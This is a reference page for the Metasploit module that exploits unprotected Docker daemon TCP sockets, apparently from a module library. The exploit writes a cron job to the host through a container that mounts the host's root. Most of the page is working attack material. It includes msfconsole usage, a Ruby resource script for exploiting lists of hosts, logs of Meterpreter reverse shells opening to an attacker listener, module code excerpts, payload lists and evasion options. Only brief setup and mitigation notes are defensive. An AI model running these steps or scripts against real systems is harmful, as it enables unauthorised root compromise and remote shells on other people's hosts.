Docker Daemon - Unprotected TCP Socket Exploit - Metasploit
This page contains detailed information about how to use the exploit/linux/http/docker_daemon_tcp metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Docker Daemon - Unprotected TCP Socket Exploit
Module: exploit/linux/http/docker_daemon_tcp
Source code: modules/exploits/linux/http/docker_daemon_tcp.rb
Disclosure date: 2017-07-25
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 2375, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp with tls but without tls-auth), an attacker can create a Docker container with the '/' path mounted with read/write permissions on the host server that is running the Docker container. As the Docker container executes command as uid 0 it is honored by the host operating system allowing the attacker to edit/create files owned by root. This exploit abuses this to creates a cron job in the '/etc/cron.d/' path of the host server. The Docker image should exist on the target system or be a valid image from hub.docker.com.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using docker_daemon_tcp against a single host
Normally, you can use exploit/linux/http/docker_daemon_tcp this way:
msf > use exploit/linux/http/docker_daemon_tcp
msf exploit(docker_daemon_tcp) > show targets
... a list of targets ...
msf exploit(docker_daemon_tcp) > set TARGET target-id
msf exploit(docker_daemon_tcp) > show options
... show and set options ...
msf exploit(docker_daemon_tcp) > exploit
Using docker_daemon_tcp against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your docker_daemon_tcp will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/docker_daemon_tcp")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp with tls but without tls-auth), an attacker can create a Docker container with the '/' path mounted with read/write permissions on the host server that is running the Docker container. As the Docker container executes command as uid 0 it is honored by the host operating system allowing the attacker to edit/create files owned by root. This exploit abuses this to creates a cron job in the '/etc/cron.d/' path of the host server.
The Docker image should exist on the target system or be a valid image from hub.docker.com.
Docker Engine
By default, Docker runs via a non-networked unix socket. It can also optionally communicate using a tcp socket.
Warning: Changing the default docker daemon binding to a TCP port or Unix docker user group will increase your security risks by allowing non-root users to gain root access on the host. Make sure you control access to docker. If you are binding to a TCP port, anyone with access to that port has full Docker access; so it is not advisable on an open network. -- from docs.docker.com
This module was tested with Debian 9 and CentOS 7 as the host operating system and with Docker CE 17.06.0-ce and Docker Engine 1.13.1.
Install Debian 9
First install Debian 9 with default task selection. This includes the "standard system utilities".
Install Docker
Then install a supported version of Docker on Debian system.
# TL;DR
apt-get remove docker docker-engine
apt-get install apt-transport-https ca-certificates curl gnupg2 software-properties-common
curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -
apt-key fingerprint 0EBFCD88
# Verify that the key ID is 9DC8 5822 9FC7 DD38 854A E2D8 8D81 803C 0EBF CD88.
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable"
apt-get update
apt-get install docker-ce
docker run hello-world
Activate unprotected tcp socket
Once Docker is installed, customize the Docker daemon options and add
the tcp socket -H tcp://0.0.0.0:2375 option. On Debian override the
settings from /lib/systemd/system/docker.service with a new file
/etc/systemd/system/docker.service.
Further information: docker systemd and docker daemon options.
# TL;DR
echo "[Service]
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375" | tee /etc/systemd/system/docker.service
systemctl daemon-reload
systemctl restart docker
curl http://127.0.0.1:2375/_ping ; echo
OK
Mitigation
Disable or protect the Docker tcp socket.
User namespaces did not protect against this.
Exploitation
This module is designed for the attacker to leverage, creation of a Docker container with out authentication through the Docker tcp socket to gain root access to the hosting server of the Docker container.
Options
- DOCKERIMAGE is the locally or from hub.docker.com available image you are wanting to have Docker to deploy for this exploit.
- CONTAINER_ID if you want to have a human readable name for your container, else it will be randomly generated
Steps to exploit with module
- [ ] Start msfconsole
- [ ] use exploit/linux/http/docker_daemon_tcp
- [ ] Set the options appropriately and set VERBOSE to true
- [ ] Verify it creates a Docker container and it successfully runs
- [ ] After a minute a session should be opened from the Docker server
Scenarios
msf > use exploit/linux/http/docker_daemon_tcp
msf exploit(docker_daemon_tcp) > set RHOST 192.168.66.23
RHOST => 192.168.66.23
msf exploit(docker_daemon_tcp) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
PAYLOAD => linux/x64/meterpreter/reverse_tcp
msf exploit(docker_daemon_tcp) > set LHOST 192.168.66.10
LHOST => 192.168.66.10
msf exploit(docker_daemon_tcp) > set VERBOSE true
VERBOSE => true
msf exploit(docker_daemon_tcp) > check
[+] 192.168.66.23:2375 The target is vulnerable.
msf exploit(docker_daemon_tcp) > run
[*] Started reverse TCP handler on 192.168.66.10:4444
[*] Check if images exist on the target host
[*] Image is not available on the target host
[*] Trying to pulling image from docker registry, this may take a while
[*] Setting container json request variables
[*] Creating the docker container command
[*] The docker container is created, waiting for deploy
[*] Waiting for the cron job to run, can take up to 60 seconds
[*] Waiting until the docker container stopped
[*] The docker container has been stopped, now trying to remove it
[*] Sending stage (2878936 bytes) to 192.168.66.23
[*] Meterpreter session 1 opened (192.168.66.10:4444 -> 192.168.66.23:35050) at 2017-07-25 14:03:02 +0200
[+] Deleted /etc/cron.d/lVoepNpy
[+] Deleted /tmp/poasDIuZ
meterpreter > sysinfo
Computer : rancher
OS : Debian 9.1 (Linux 4.9.0-3-amd64)
Architecture : x64
Meterpreter : x64/linux
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the linux/http/docker_daemon_tcp exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/docker_daemon_tcp
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/docker_daemon_tcp) > show info
Name: Docker Daemon - Unprotected TCP Socket Exploit
Module: exploit/linux/http/docker_daemon_tcp
Platform:
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2017-07-25
Provided by:
Martin Pizala
Available targets:
Id Name
-- ----
0 Linux x64
1 Python
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CONTAINER_ID no container id you would like
DOCKERIMAGE alpine:latest yes hub.docker.com image to use
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 2375 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload information:
Space: 65000
Description:
Utilizing Docker via unprotected tcp socket (2375/tcp, maybe
2376/tcp with tls but without tls-auth), an attacker can create a
Docker container with the '/' path mounted with read/write
permissions on the host server that is running the Docker container.
As the Docker container executes command as uid 0 it is honored by
the host operating system allowing the attacker to edit/create files
owned by root. This exploit abuses this to creates a cron job in the
'/etc/cron.d/' path of the host server. The Docker image should
exist on the target system or be a valid image from hub.docker.com.
References:
https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface
https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket
Module Options
This is a complete list of options available in the linux/http/docker_daemon_tcp exploit:
msf6 exploit(linux/http/docker_daemon_tcp) > show options
Module options (exploit/linux/http/docker_daemon_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CONTAINER_ID no container id you would like
DOCKERIMAGE alpine:latest yes hub.docker.com image to use
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 2375 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux x64
Advanced Options
Here is a complete list of advanced options supported by the linux/http/docker_daemon_tcp exploit:
msf6 exploit(linux/http/docker_daemon_tcp) > show advanced
Module advanced options (exploit/linux/http/docker_daemon_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 180 no Additional delay in seconds to wait for a session
Payload advanced options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/docker_daemon_tcp module can exploit:
msf6 exploit(linux/http/docker_daemon_tcp) > show targets
Exploit targets:
Id Name
-- ----
0 Linux x64
1 Python
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/docker_daemon_tcp exploit:
msf6 exploit(linux/http/docker_daemon_tcp) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/linux/x64/exec normal No Linux Execute Command
4 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
5 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
6 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
7 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
8 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
9 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
10 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
11 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
12 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/docker_daemon_tcp exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/docker_daemon_tcp) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Failed to connect to the target
Here is a relevant code snippet related to the "Failed to connect to the target" error message:
145: 'ctype' => 'application/json',
146: 'headers' => { 'Accept' => 'application/json' }
147: )
148:
149: if res.nil?
150: print_error('Failed to connect to the target')
151: return Exploit::CheckCode::Unknown
152: end
153:
154: if res && res.code == 200 && res.headers['Server'].include?('Docker')
155: return Exploit::CheckCode::Vulnerable
Failed to connect to the target
Here is a relevant code snippet related to the "Failed to connect to the target" error message:
159: end
160:
161: def exploit
162: # check if target is vulnerable
163: unless check == Exploit::CheckCode::Vulnerable
164: fail_with(Failure::Unknown, 'Failed to connect to the target')
165: end
166:
167: # check if image is not available, pull it or fail out
168: image_id = datastore['DOCKERIMAGE']
169: if check_image(image_id).nil?
Failed to pull the docker image
Here is a relevant code snippet related to the "Failed to pull the docker image" error message:
165: end
166:
167: # check if image is not available, pull it or fail out
168: image_id = datastore['DOCKERIMAGE']
169: if check_image(image_id).nil?
170: fail_with(Failure::Unknown, 'Failed to pull the docker image') if pull_image(image_id).nil?
171: end
172:
173: # create required information to create json container information.
174: cron_path = '/etc/cron.d/' + rand_text_alpha(8)
175: payload_path = '/tmp/' + rand_text_alpha(8)
Failed to create the docker container
Here is a relevant code snippet related to the "Failed to create the docker container" error message:
181: 'method' => 'POST',
182: 'uri' => normalize_uri('containers', 'create?name=' + container_id),
183: 'ctype' => 'application/json',
184: 'data' => make_container(mnt_path, cron_path, payload_path).to_json
185: )
186: fail_with(Failure::Unknown, 'Failed to create the docker container') unless res_create && res_create.code == 201
187:
188: print_status("The docker container is created, waiting for deploy")
189: register_files_for_cleanup(cron_path, payload_path)
190:
191: # start container
The docker container failed to deploy
Here is a relevant code snippet related to the "The docker container failed to deploy" error message:
215: deleted_container = true
216: end
217:
218: # if container does not deploy, remove it and fail out
219: unless deleted_container
220: del_container(container_id)
221: fail_with(Failure::Unknown, "The docker container failed to deploy")
222: end
223: print_status('Waiting for the cron job to run, can take up to 60 seconds')
224: end
225: end
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #14212 Merged Pull Request: Fix invalid disclosure date formats
- #9050 Merged Pull Request: Improvements docker_daemon_tcp exploit module
- #8768 Merged Pull Request: Add exploit module for Docker Daemon - Unprotected TCP Socket
References
- CVE: Not available
- https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface
- https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/docker_version
- exploit/linux/local/docker_daemon_privilege_escalation
- exploit/linux/local/docker_privileged_container_escape
- exploit/linux/local/docker_runc_escape
- exploit/windows/local/docker_credential_wincred
- post/multi/gather/docker_creds
- exploit/linux/http/zenoss_showdaemonxmlconfig_exec
- exploit/linux/local/lastore_daemon_dbus_priv_esc
- exploit/windows/ftp/3cdaemon_ftp_user
- exploit/windows/http/mdaemon_worldclient_form2raw
- exploit/windows/imap/mdaemon_cram_md5
- exploit/windows/imap/mdaemon_fetch
- post/windows/gather/credentials/mdaemon_cred_collector
- auxiliary/admin/http/wp_easycart_privilege_escalation
- auxiliary/admin/http/wp_wplms_privilege_escalation
- exploit/linux/local/desktop_privilege_escalation
- exploit/linux/local/ufo_privilege_escalation
- exploit/multi/browser/firefox_pdfjs_privilege_escalation
- exploit/windows/brightstor/discovery_tcp
- auxiliary/dos/tcp/claymore_dos
- auxiliary/dos/tcp/junos_tcp_opt
- auxiliary/dos/tcp/synflood
- exploit/windows/local/ms14_070_tcpip_ioctl
Authors
Martin Pizala
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
